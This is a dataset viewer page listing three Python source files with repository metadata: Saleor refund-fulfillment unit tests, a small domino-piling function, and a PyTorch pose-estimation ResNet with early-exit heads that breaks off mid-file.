xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

6710871400f55972cf1add7ad3bc2c48cbb9460b

9,314

py

Python

saleor/order/tests/test_order_actions_refund_products.py

fairhopeweb/saleor

9ac6c22652d46ba65a5b894da5f1ba5bec48c019

[ "CC-BY-4.0" ]

15,337

2015-01-12T02:11:52.000Z

2021-10-05T19:19:29.000Z

saleor/order/tests/test_order_actions_refund_products.py

fairhopeweb/saleor

9ac6c22652d46ba65a5b894da5f1ba5bec48c019

[ "CC-BY-4.0" ]

7,486

2015-02-11T10:52:13.000Z

2021-10-06T09:37:15.000Z

saleor/order/tests/test_order_actions_refund_products.py

aminziadna/saleor

2e78fb5bcf8b83a6278af02551a104cfa555a1fb

[ "CC-BY-4.0" ]

5,864

2015-01-16T14:52:54.000Z

2021-10-05T23:01:15.000Z

from decimal import Decimal from unittest.mock import ANY, patch from ...payment import ChargeStatus from ...plugins.manager import get_plugins_manager from ...tests.utils import flush_post_commit_hooks from ...warehouse.models import Allocation from .. import FulfillmentLineData, FulfillmentStatus, OrderLineData from ..actions import create_refund_fulfillment from ..models import FulfillmentLine @patch("saleor.plugins.manager.PluginsManager.order_updated") @patch("saleor.order.actions.gateway.refund") def test_create_refund_fulfillment_only_order_lines( mocked_refund, mocked_order_updated, order_with_lines, payment_dummy ): payment_dummy.captured_amount = payment_dummy.total payment_dummy.charge_status = ChargeStatus.FULLY_CHARGED payment_dummy.save() order_with_lines.payments.add(payment_dummy) payment = order_with_lines.get_last_payment() order_lines_to_refund = order_with_lines.lines.all() original_quantity = { line.id: line.quantity_unfulfilled for line in order_with_lines.lines.all() } order_line_ids = order_lines_to_refund.values_list("id", flat=True) original_allocations = list( Allocation.objects.filter(order_line_id__in=order_line_ids) ) lines_count = order_with_lines.lines.count() returned_fulfillemnt = create_refund_fulfillment( user=None, app=None, order=order_with_lines, payment=payment, order_lines_to_refund=[ OrderLineData(line=line, quantity=2) for line in order_lines_to_refund ], fulfillment_lines_to_refund=[], manager=get_plugins_manager(), ) flush_post_commit_hooks() returned_fulfillment_lines = returned_fulfillemnt.lines.all() assert returned_fulfillemnt.status == FulfillmentStatus.REFUNDED assert len(returned_fulfillment_lines) == lines_count for fulfillment_line in returned_fulfillment_lines: assert fulfillment_line.quantity == 2 assert fulfillment_line.order_line_id in order_line_ids for line in order_lines_to_refund: assert line.quantity_unfulfilled == original_quantity.get(line.pk) - 2 current_allocations = Allocation.objects.in_bulk( [allocation.pk for allocation in original_allocations] ) for original_allocation in original_allocations: current_allocation = current_allocations.get(original_allocation.pk) assert ( original_allocation.quantity_allocated - 2 == current_allocation.quantity_allocated ) amount = sum([line.unit_price_gross_amount * 2 for line in order_lines_to_refund]) assert returned_fulfillemnt.total_refund_amount == amount assert returned_fulfillemnt.shipping_refund_amount is None mocked_refund.assert_called_once_with( payment_dummy, ANY, amount=amount, channel_slug=order_with_lines.channel.slug ) mocked_order_updated.assert_called_once_with(order_with_lines) @patch("saleor.plugins.manager.PluginsManager.order_updated") @patch("saleor.order.actions.gateway.refund") def test_create_refund_fulfillment_included_shipping_costs( mocked_refund, mocked_order_updated, order_with_lines, payment_dummy ): payment_dummy.captured_amount = payment_dummy.total payment_dummy.charge_status = ChargeStatus.FULLY_CHARGED payment_dummy.save() order_with_lines.payments.add(payment_dummy) payment = order_with_lines.get_last_payment() order_lines_to_refund = order_with_lines.lines.all() original_quantity = { line.id: line.quantity_unfulfilled for line in order_with_lines.lines.all() } order_line_ids = order_lines_to_refund.values_list("id", flat=True) lines_count = order_with_lines.lines.count() returned_fulfillemnt = create_refund_fulfillment( user=None, app=None, order=order_with_lines, payment=payment, order_lines_to_refund=[ OrderLineData(line=line, quantity=2) for line in order_lines_to_refund ], fulfillment_lines_to_refund=[], manager=get_plugins_manager(), refund_shipping_costs=True, ) flush_post_commit_hooks() returned_fulfillment_lines = returned_fulfillemnt.lines.all() assert returned_fulfillemnt.status == FulfillmentStatus.REFUNDED assert len(returned_fulfillment_lines) == lines_count for fulfillment_line in returned_fulfillment_lines: assert fulfillment_line.quantity == 2 assert fulfillment_line.order_line_id in order_line_ids for line in order_lines_to_refund: assert line.quantity_unfulfilled == original_quantity.get(line.pk) - 2 amount = sum([line.unit_price_gross_amount * 2 for line in order_lines_to_refund]) amount += order_with_lines.shipping_price_gross_amount assert returned_fulfillemnt.total_refund_amount == amount assert ( returned_fulfillemnt.shipping_refund_amount == order_with_lines.shipping_price_gross_amount ) mocked_refund.assert_called_once_with( payment_dummy, ANY, amount=amount, channel_slug=order_with_lines.channel.slug ) mocked_order_updated.assert_called_once_with(order_with_lines) @patch("saleor.plugins.manager.PluginsManager.order_updated") @patch("saleor.order.actions.gateway.refund") def test_create_refund_fulfillment_only_fulfillment_lines( mocked_refund, mocked_order_updated, fulfilled_order, payment_dummy ): payment_dummy.captured_amount = payment_dummy.total payment_dummy.charge_status = ChargeStatus.FULLY_CHARGED payment_dummy.save() fulfilled_order.payments.add(payment_dummy) payment = fulfilled_order.get_last_payment() order_line_ids = fulfilled_order.lines.all().values_list("id", flat=True) fulfillment_lines = FulfillmentLine.objects.filter(order_line_id__in=order_line_ids) original_quantity = {line.id: line.quantity for line in fulfillment_lines} fulfillment_lines_to_refund = fulfillment_lines returned_fulfillemnt = create_refund_fulfillment( user=None, app=None, order=fulfilled_order, payment=payment, order_lines_to_refund=[], fulfillment_lines_to_refund=[ FulfillmentLineData(line=line, quantity=2) for line in fulfillment_lines_to_refund ], manager=get_plugins_manager(), ) flush_post_commit_hooks() returned_fulfillment_lines = returned_fulfillemnt.lines.all() assert returned_fulfillemnt.status == FulfillmentStatus.REFUNDED assert len(returned_fulfillment_lines) == len(order_line_ids) for fulfillment_line in returned_fulfillment_lines: assert fulfillment_line.quantity == 2 assert fulfillment_line.order_line_id in order_line_ids for line in fulfillment_lines: assert line.quantity == original_quantity.get(line.pk) - 2 amount = sum( [line.order_line.unit_price_gross_amount * 2 for line in fulfillment_lines] ) mocked_refund.assert_called_once_with( payment_dummy, ANY, amount=amount, channel_slug=fulfilled_order.channel.slug ) mocked_order_updated.assert_called_once_with(fulfilled_order) assert returned_fulfillemnt.total_refund_amount == amount assert returned_fulfillemnt.shipping_refund_amount is None @patch("saleor.plugins.manager.PluginsManager.order_updated") @patch("saleor.order.actions.gateway.refund") def test_create_refund_fulfillment_custom_amount( mocked_refund, mocked_order_updated, fulfilled_order, payment_dummy ): payment_dummy.captured_amount = payment_dummy.total payment_dummy.charge_status = ChargeStatus.FULLY_CHARGED payment_dummy.save() fulfilled_order.payments.add(payment_dummy) payment = fulfilled_order.get_last_payment() order_line_ids = fulfilled_order.lines.all().values_list("id", flat=True) fulfillment_lines = FulfillmentLine.objects.filter(order_line_id__in=order_line_ids) original_quantity = {line.id: line.quantity for line in fulfillment_lines} fulfillment_lines_to_refund = fulfillment_lines amount = Decimal("10.00") returned_fulfillemnt = create_refund_fulfillment( user=None, app=None, order=fulfilled_order, payment=payment, order_lines_to_refund=[], fulfillment_lines_to_refund=[ FulfillmentLineData(line=line, quantity=2) for line in fulfillment_lines_to_refund ], manager=get_plugins_manager(), amount=amount, ) flush_post_commit_hooks() returned_fulfillment_lines = returned_fulfillemnt.lines.all() assert returned_fulfillemnt.status == FulfillmentStatus.REFUNDED assert len(returned_fulfillment_lines) == len(order_line_ids) for fulfillment_line in returned_fulfillment_lines: assert fulfillment_line.quantity == 2 assert fulfillment_line.order_line_id in order_line_ids for line in fulfillment_lines: assert line.quantity == original_quantity.get(line.pk) - 2 mocked_refund.assert_called_once_with( payment_dummy, ANY, amount=amount, channel_slug=fulfilled_order.channel.slug ) mocked_order_updated.assert_called_once_with(fulfilled_order) assert returned_fulfillemnt.total_refund_amount == amount assert returned_fulfillemnt.shipping_refund_amount is None

41.030837

88

0.761434

1,148

9,314

5.777003

0.086237

0.072376

0.043124

0.037998

0.889777

0.885856

0.860676

0

0.002579

0.167275

9,314

226

89

41.212389

0.852501

0

0.778894

0

0.038329

0.036934

0

0.18593

1

0.020101

false

0

0.045226

0

0.065327

0

null

0

1

0

1

0

null

0

7

e1db6db60fb5659ad7667ae2eaa91acd20ecfb6b

119

py

Python

sorting/domino_piling.py

elenaborisova/A2SV-interview-prep

02b7166a96d22221cd6adaedf14f845537f0752d

[ "MIT" ]

null

sorting/domino_piling.py

elenaborisova/A2SV-interview-prep

02b7166a96d22221cd6adaedf14f845537f0752d

[ "MIT" ]

null

sorting/domino_piling.py

elenaborisova/A2SV-interview-prep

02b7166a96d22221cd6adaedf14f845537f0752d

[ "MIT" ]

null

def domino_piling(m, n): return (m * n) // 2 # Test cases: print(domino_piling(3, 3)) print(domino_piling(2, 4))

14.875

26

0.638655

21

119

3.47619

0.571429

0.493151

0.465753

0

0.051546

0.184874

119

7

27

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0.701031

0.092437

0

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0.25

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1

0

null

1

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1

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null

0

1

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1

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1

0

7

c021064b1f7e59319e1690324538dc33a2bdc46b

39,248

py

Python

Train/pose_estimation/lib/models/pose_resnet.py

ZSL98/ETBA

618317698adb9e372fb11dc0c3a01f856e0759b0

[ "MIT" ]

1

2021-12-01T15:22:44.000Z

Train/pose_estimation/lib/models/pose_resnet.py

ZSL98/ETBA

618317698adb9e372fb11dc0c3a01f856e0759b0

[ "MIT" ]

null

Train/pose_estimation/lib/models/pose_resnet.py

ZSL98/ETBA

618317698adb9e372fb11dc0c3a01f856e0759b0

[ "MIT" ]

null

# ------------------------------------------------------------------------------ # Copyright (c) Microsoft # Licensed under the MIT License. # Written by Bin Xiao (Bin.Xiao@microsoft.com) # ------------------------------------------------------------------------------ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import logging import copy import torch import torch.nn as nn from collections import OrderedDict import sys sys.path.append("/home/slzhang/projects/ETBA/Inference/src/exit_placement") from networks import backbone_s1, backbone_s2, Bottleneck BN_MOMENTUM = 0.1 logger = logging.getLogger(__name__) def conv3x3(in_planes, out_planes, stride=1): """3x3 convolution with padding""" return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride, padding=1, bias=False) class BasicBlock(nn.Module): expansion = 1 def __init__(self, inplanes, planes, stride=1, downsample=None): super(BasicBlock, self).__init__() self.conv1 = conv3x3(inplanes, planes, stride) self.bn1 = nn.BatchNorm2d(planes, momentum=BN_MOMENTUM) self.relu = nn.ReLU(inplace=True) self.conv2 = conv3x3(planes, planes) self.bn2 = nn.BatchNorm2d(planes, momentum=BN_MOMENTUM) self.downsample = downsample self.stride = stride def forward(self, x): residual = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) if self.downsample is not None: residual = self.downsample(x) out += residual out = self.relu(out) return out # class Bottleneck(nn.Module): # expansion = 4 # def __init__(self, inplanes, planes, stride=1, downsample=None): # super(Bottleneck, self).__init__() # self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False) # self.bn1 = nn.BatchNorm2d(planes, momentum=BN_MOMENTUM) # self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride, # padding=1, bias=False) # self.bn2 = nn.BatchNorm2d(planes, momentum=BN_MOMENTUM) # self.conv3 = nn.Conv2d(planes, planes * self.expansion, kernel_size=1, # bias=False) # self.bn3 = nn.BatchNorm2d(planes * self.expansion, # momentum=BN_MOMENTUM) # self.relu = nn.ReLU(inplace=True) # self.downsample = downsample # self.stride = stride # def forward(self, x): # residual = x # out = self.conv1(x) # out = self.bn1(out) # out = self.relu(out) # out = self.conv2(out) # out = self.bn2(out) # out = self.relu(out) # out = self.conv3(out) # out = self.bn3(out) # if self.downsample is not None: # residual = self.downsample(x) # out += residual # out = self.relu(out) # return out class Bottleneck_CAFFE(nn.Module): expansion = 4 def __init__(self, inplanes, planes, stride=1, downsample=None): super(Bottleneck_CAFFE, self).__init__() # add stride to conv1x1 self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, stride=stride, bias=False) self.bn1 = nn.BatchNorm2d(planes, momentum=BN_MOMENTUM) self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=1, padding=1, bias=False) self.bn2 = nn.BatchNorm2d(planes, momentum=BN_MOMENTUM) self.conv3 = nn.Conv2d(planes, planes * self.expansion, kernel_size=1, bias=False) self.bn3 = nn.BatchNorm2d(planes * self.expansion, momentum=BN_MOMENTUM) self.relu = nn.ReLU(inplace=True) self.downsample = downsample self.stride = stride def forward(self, x): residual = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) out = self.relu(out) out = self.conv3(out) out = self.bn3(out) if self.downsample is not None: residual = self.downsample(x) out += residual out = self.relu(out) return out class PoseResNet(nn.Module): def __init__(self, block, layers, cfg, **kwargs): self.inplanes = 64 extra = cfg.MODEL.EXTRA self.deconv_with_bias = extra.DECONV_WITH_BIAS super(PoseResNet, self).__init__() self.conv1 = nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False) self.bn1 = nn.BatchNorm2d(64, momentum=BN_MOMENTUM) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) # used for deconv layers self.deconv_layers = self._make_deconv_layer( extra.NUM_DECONV_LAYERS, extra.NUM_DECONV_FILTERS, extra.NUM_DECONV_KERNELS, ) self.final_layer = nn.Conv2d( in_channels=extra.NUM_DECONV_FILTERS[-1], out_channels=cfg.MODEL.NUM_JOINTS, kernel_size=extra.FINAL_CONV_KERNEL, stride=1, padding=1 if extra.FINAL_CONV_KERNEL == 3 else 0 ) def _make_layer(self, block, planes, blocks, stride=1): downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(planes * block.expansion, momentum=BN_MOMENTUM), ) layers = [] layers.append(block(self.inplanes, planes, stride, downsample)) self.inplanes = planes * block.expansion for i in range(1, blocks): layers.append(block(self.inplanes, planes)) return nn.Sequential(*layers) def _get_deconv_cfg(self, deconv_kernel, index): if deconv_kernel == 4: padding = 1 output_padding = 0 elif deconv_kernel == 3: padding = 1 output_padding = 1 elif deconv_kernel == 2: padding = 0 output_padding = 0 return deconv_kernel, padding, output_padding def _make_deconv_layer(self, num_layers, num_filters, num_kernels): assert num_layers == len(num_filters), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' assert num_layers == len(num_kernels), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' layers = [] for i in range(num_layers): kernel, padding, output_padding = \ self._get_deconv_cfg(num_kernels[i], i) planes = num_filters[i] layers.append( nn.ConvTranspose2d( in_channels=self.inplanes, out_channels=planes, kernel_size=kernel, stride=2, padding=padding, output_padding=output_padding, bias=self.deconv_with_bias)) layers.append(nn.BatchNorm2d(planes, momentum=BN_MOMENTUM)) layers.append(nn.ReLU(inplace=True)) self.inplanes = planes return nn.Sequential(*layers) def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.deconv_layers(x) x = self.final_layer(x) return x def init_weights(self, pretrained=''): if os.path.isfile(pretrained): logger.info('=> init deconv weights from normal distribution') for name, m in self.deconv_layers.named_modules(): if isinstance(m, nn.ConvTranspose2d): logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) if self.deconv_with_bias: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): logger.info('=> init {}.weight as 1'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) logger.info('=> init final conv weights from normal distribution') for m in self.final_layer.modules(): if isinstance(m, nn.Conv2d): # nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) nn.init.constant_(m.bias, 0) # pretrained_state_dict = torch.load(pretrained) logger.info('=> loading pretrained model {}'.format(pretrained)) # self.load_state_dict(pretrained_state_dict, strict=False) checkpoint = torch.load(pretrained) if isinstance(checkpoint, OrderedDict): state_dict = checkpoint elif isinstance(checkpoint, dict) and 'state_dict' in checkpoint: state_dict_old = checkpoint['state_dict'] state_dict = OrderedDict() # delete 'module.' because it is saved from DataParallel module for key in state_dict_old.keys(): if key.startswith('module.'): # state_dict[key[7:]] = state_dict[key] # state_dict.pop(key) state_dict[key[7:]] = state_dict_old[key] else: state_dict[key] = state_dict_old[key] else: raise RuntimeError( 'No state_dict found in checkpoint file {}'.format(pretrained)) self.load_state_dict(state_dict, strict=False) else: logger.error('=> imagenet pretrained model dose not exist') logger.error('=> please download it first') raise ValueError('imagenet pretrained model does not exist') class PoseResNetwthExit(nn.Module): def __init__(self, block, layers, cfg, start_point, **kwargs): super(PoseResNetwthExit, self).__init__() extra = cfg.MODEL.EXTRA self.deconv_with_bias = extra.DECONV_WITH_BIAS self.backbone_s1 = backbone_s1(start_point=start_point, end_point=33) # self.backbone_s2 = backbone_s2(start_point=start_point, end_point=start_point) self.inplanes = 2048 self.deconv_layers = self._make_deconv_layer( extra.NUM_DECONV_LAYERS, extra.NUM_DECONV_FILTERS, extra.NUM_DECONV_KERNELS, ) self.final_layer = nn.Conv2d( in_channels=extra.NUM_DECONV_FILTERS[-1], out_channels=cfg.MODEL.NUM_JOINTS, kernel_size=extra.FINAL_CONV_KERNEL, stride=1, padding=1 if extra.FINAL_CONV_KERNEL == 3 else 0 ) self.inplanes = 2048 self.head_deconv_layers = self._make_deconv_layer( extra.NUM_DECONV_LAYERS, extra.NUM_DECONV_FILTERS, extra.NUM_DECONV_KERNELS, ) self.head_final_layer = nn.Conv2d( in_channels=extra.NUM_DECONV_FILTERS[-1], out_channels=cfg.MODEL.NUM_JOINTS, kernel_size=extra.FINAL_CONV_KERNEL, stride=1, padding=1 if extra.FINAL_CONV_KERNEL == 3 else 0 ) def _get_deconv_cfg(self, deconv_kernel, index): if deconv_kernel == 4: padding = 1 output_padding = 0 elif deconv_kernel == 3: padding = 1 output_padding = 1 elif deconv_kernel == 2: padding = 0 output_padding = 0 return deconv_kernel, padding, output_padding def _make_deconv_layer(self, num_layers, num_filters, num_kernels): assert num_layers == len(num_filters), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' assert num_layers == len(num_kernels), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' layers = [] for i in range(num_layers): kernel, padding, output_padding = \ self._get_deconv_cfg(num_kernels[i], i) planes = num_filters[i] layers.append( nn.ConvTranspose2d( in_channels=self.inplanes, out_channels=planes, kernel_size=kernel, stride=2, padding=padding, output_padding=output_padding, bias=self.deconv_with_bias)) layers.append(nn.BatchNorm2d(planes, momentum=BN_MOMENTUM)) layers.append(nn.ReLU(inplace=True)) self.inplanes = planes return nn.Sequential(*layers) def forward(self, input): x, x_exit = self.backbone_s1(input) x_exit = self.head_deconv_layers(x_exit) x_exit = self.head_final_layer(x_exit) # x = self.backbone_s2(x) x = self.deconv_layers(x) x = self.final_layer(x) return x, x_exit def init_weights(self, pretrained=''): if os.path.isfile(pretrained): logger.info('=> init head deconv weights from normal distribution') # for name, m in self.named_parameters(): # m.requires_grad = False for name, m in self.head_deconv_layers.named_modules(): if isinstance(m, nn.ConvTranspose2d): logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) if self.deconv_with_bias: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): logger.info('=> init {}.weight as 1'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) logger.info('=> init head final conv weights from normal distribution') for m in self.head_final_layer.modules(): if isinstance(m, nn.Conv2d): # nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) nn.init.constant_(m.bias, 0) # for name, m in self.head_deconv_layers.named_parameters(): # m.requires_grad = True # for name, m in self.head_final_layer.named_parameters(): # m.requires_grad = True # pretrained_state_dict = torch.load(pretrained) logger.info('=> loading pretrained model {}'.format(pretrained)) # self.load_state_dict(pretrained_state_dict, strict=False) checkpoint = torch.load(pretrained) if isinstance(checkpoint, OrderedDict): state_dict = checkpoint elif isinstance(checkpoint, dict) and 'state_dict' in checkpoint: state_dict_old = checkpoint['state_dict'] state_dict = OrderedDict() # delete 'module.' because it is saved from DataParallel module for key in state_dict_old.keys(): if key.startswith('module.'): # state_dict[key[7:]] = state_dict[key] # state_dict.pop(key) state_dict[key[7:]] = state_dict_old[key] else: state_dict[key] = state_dict_old[key] else: raise RuntimeError( 'No state_dict found in checkpoint file {}'.format(pretrained)) self.load_state_dict(state_dict, strict=False) else: logger.error('=> imagenet pretrained model dose not exist') logger.error('=> please download it first') raise ValueError('imagenet pretrained model does not exist') class PoseResNetwthOnlyExit(nn.Module): def __init__(self, block, layers, cfg, start_point, **kwargs): super(PoseResNetwthOnlyExit, self).__init__() extra = cfg.MODEL.EXTRA self.deconv_with_bias = extra.DECONV_WITH_BIAS self.backbone_s1 = backbone_s1(start_point=start_point, end_point=start_point) # self.backbone_s2 = backbone_s2(start_point=start_point, end_point=start_point) self.inplanes = 2048 self.deconv_layers = self._make_deconv_layer( extra.NUM_DECONV_LAYERS, extra.NUM_DECONV_FILTERS, extra.NUM_DECONV_KERNELS, ) self.final_layer = nn.Conv2d( in_channels=extra.NUM_DECONV_FILTERS[-1], out_channels=cfg.MODEL.NUM_JOINTS, kernel_size=extra.FINAL_CONV_KERNEL, stride=1, padding=1 if extra.FINAL_CONV_KERNEL == 3 else 0 ) def _get_deconv_cfg(self, deconv_kernel, index): if deconv_kernel == 4: padding = 1 output_padding = 0 elif deconv_kernel == 3: padding = 1 output_padding = 1 elif deconv_kernel == 2: padding = 0 output_padding = 0 return deconv_kernel, padding, output_padding def _make_deconv_layer(self, num_layers, num_filters, num_kernels): assert num_layers == len(num_filters), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' assert num_layers == len(num_kernels), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' layers = [] for i in range(num_layers): kernel, padding, output_padding = \ self._get_deconv_cfg(num_kernels[i], i) planes = num_filters[i] layers.append( nn.ConvTranspose2d( in_channels=self.inplanes, out_channels=planes, kernel_size=kernel, stride=2, padding=padding, output_padding=output_padding, bias=self.deconv_with_bias)) layers.append(nn.BatchNorm2d(planes, momentum=BN_MOMENTUM)) layers.append(nn.ReLU(inplace=True)) self.inplanes = planes return nn.Sequential(*layers) def forward(self, input): x, x_exit = self.backbone_s1(input) x_exit = self.deconv_layers(x_exit) x_exit = self.final_layer(x_exit) return x_exit def init_weights(self, pretrained=''): # for k,v in self.state_dict().items(): # print(k) if os.path.isfile(pretrained): logger.info('=> init head deconv weights from normal distribution') # for name, m in self.named_parameters(): # m.requires_grad = False for name, m in self.deconv_layers.named_modules(): if isinstance(m, nn.ConvTranspose2d): logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) if self.deconv_with_bias: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): logger.info('=> init {}.weight as 1'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) logger.info('=> init head final conv weights from normal distribution') for m in self.final_layer.modules(): if isinstance(m, nn.Conv2d): # nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu') logger.info('=> init {}.weight as normal(0, 0.001)'.format(name)) logger.info('=> init {}.bias as 0'.format(name)) nn.init.normal_(m.weight, std=0.001) nn.init.constant_(m.bias, 0) # for name, m in self.head_deconv_layers.named_parameters(): # m.requires_grad = True # for name, m in self.head_final_layer.named_parameters(): # m.requires_grad = True # pretrained_state_dict = torch.load(pretrained) logger.info('=> loading pretrained model {}'.format(pretrained)) # self.load_state_dict(pretrained_state_dict, strict=False) checkpoint = torch.load(pretrained) dict_trained = checkpoint.copy() dict_new = OrderedDict() for k,v in self.state_dict().items(): if 'num_batches_tracked' not in k: if 'backbone_s1.pre' in k: dict_new[k] = dict_trained[k[16:]] elif 'backbone_s1.exit' in k: if len(self.backbone_s1.exit) == 1: dict_new[k] = dict_trained['layer4.0.'+k[19:]] elif len(self.backbone_s1.exit) == 2: if 'exit.0' in k: dict_new[k] = dict_trained['layer3.0.'+k[19:]] elif 'exit.1' in k: dict_new[k] = dict_trained['layer4.0.'+k[19:]] elif len(self.backbone_s1.exit) == 3: if 'exit.0' in k: dict_new[k] = dict_trained['layer2.0.'+k[19:]] elif 'exit.1' in k: dict_new[k] = dict_trained['layer3.0.'+k[19:]] elif 'exit.2' in k: dict_new[k] = dict_trained['layer4.0.'+k[19:]] elif 'deconv' in k or 'final' in k: dict_new[k] = dict_trained[k] else: dict_new[k] = dict_trained[k[12:]] # for k,v in dict_new.items(): # print(k) # if isinstance(checkpoint, OrderedDict): # state_dict = checkpoint # elif isinstance(checkpoint, dict) and 'state_dict' in checkpoint: # state_dict_old = checkpoint['state_dict'] # state_dict = OrderedDict() # # delete 'module.' because it is saved from DataParallel module # for key in state_dict_old.keys(): # if key.startswith('module.'): # # state_dict[key[7:]] = state_dict[key] # # state_dict.pop(key) # state_dict[key[7:]] = state_dict_old[key] # else: # state_dict[key] = state_dict_old[key] # else: # raise RuntimeError( # 'No state_dict found in checkpoint file {}'.format(pretrained)) # freeze the backbone parameters for k,v in self.named_parameters(): if 'backbone' in k and 'exit' not in k: v.requires_grad=False else: v.requires_grad=True self.load_state_dict(dict_new, strict=False) else: logger.error('=> imagenet pretrained model dose not exist') logger.error('=> please download it first') raise ValueError('imagenet pretrained model does not exist') class PoseResNetwthMultiExit(nn.Module): def __init__(self, block, layers, cfg, exit_list, **kwargs): super(PoseResNetwthMultiExit, self).__init__() extra = cfg.MODEL.EXTRA self.deconv_with_bias = extra.DECONV_WITH_BIAS self.ori_backbone = nn.ModuleList() self.backbone = nn.ModuleList() self.exit_list = exit_list for i in range(len(exit_list)-1): self.ori_backbone.append(get_pose_net_with_only_exit(cfg, is_train=True, start_point = self.exit_list[i])) # state_dict = torch.load('/home/slzhang/projects/ETBA/Train/pose_estimation/checkpoints/split_point_{}/model_best.pth'.format(self.exit_list[i])) # new_dict = OrderedDict() # for k,v in self.ori_backbone[i].state_dict().items(): # new_dict[k] = state_dict['module.'+k] # self.ori_backbone[i].load_state_dict(new_dict, strict=True) self.ori_backbone.append(get_pose_net_with_only_exit(cfg, is_train=True, start_point = 33)) net_wth_finalhead = torch.load('/home/slzhang/projects/ETBA/Train/pose_estimation/checkpoints/pose_resnet_101_384x384.pth.tar') new_dict = OrderedDict() dict_finalhead = net_wth_finalhead.copy() dict_finalhead_keys = list(net_wth_finalhead.keys()) i = 0 for k,v in self.ori_backbone[len(exit_list)-1].state_dict().items(): if 'num_batches_tracked' not in k: new_dict[k] = dict_finalhead[dict_finalhead_keys[i]] i = i + 1 self.ori_backbone[len(exit_list)-1].load_state_dict(new_dict, strict=True) ori_backbone_copy = copy.deepcopy(self.ori_backbone) for i in range(len(exit_list)): if i == 0: flatt_model = nn.Sequential(*list(ori_backbone_copy[i].backbone_s1.children())[:-1]) self.backbone.append(flatt_model) else: print('-------------------') backbone = nn.Sequential() last_bottleneck_num = 0 for layer in ori_backbone_copy[i-1].backbone_s1.named_modules(): if isinstance(layer[1], Bottleneck) and 'exit' not in layer[0]: last_bottleneck_num = last_bottleneck_num + 1 cnt = 0 for layer in ori_backbone_copy[i].backbone_s1.named_modules(): if isinstance(layer[1], Bottleneck) and 'exit' not in layer[0]: cnt = cnt + 1 if cnt > last_bottleneck_num: backbone.add_module(layer[0].replace('.',' '), layer[1]) self.backbone.append(backbone) for k,v in self.backbone[i].named_parameters(): v.requires_grad=True for k,v in self.ori_backbone[i].named_parameters(): v.requires_grad=True self.exit = nn.ModuleList() self.deconv_layers = nn.ModuleList() self.final_layer = nn.ModuleList() for i in range(len(exit_list)): self.exit.append(self.ori_backbone[i].backbone_s1.exit) self.deconv_layers.append(self.ori_backbone[i].deconv_layers) self.final_layer.append(self.ori_backbone[i].final_layer) print(self.exit_list) del(self.ori_backbone) def _get_deconv_cfg(self, deconv_kernel, index): if deconv_kernel == 4: padding = 1 output_padding = 0 elif deconv_kernel == 3: padding = 1 output_padding = 1 elif deconv_kernel == 2: padding = 0 output_padding = 0 return deconv_kernel, padding, output_padding def _make_deconv_layer(self, num_layers, num_filters, num_kernels): assert num_layers == len(num_filters), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' assert num_layers == len(num_kernels), \ 'ERROR: num_deconv_layers is different len(num_deconv_filters)' layers = [] for i in range(num_layers): kernel, padding, output_padding = \ self._get_deconv_cfg(num_kernels[i], i) planes = num_filters[i] layers.append( nn.ConvTranspose2d( in_channels=self.inplanes, out_channels=planes, kernel_size=kernel, stride=2, padding=padding, output_padding=output_padding, bias=self.deconv_with_bias)) layers.append(nn.BatchNorm2d(planes, momentum=BN_MOMENTUM)) layers.append(nn.ReLU(inplace=True)) self.inplanes = planes return nn.Sequential(*layers) def forward(self, x): output = [] for i in 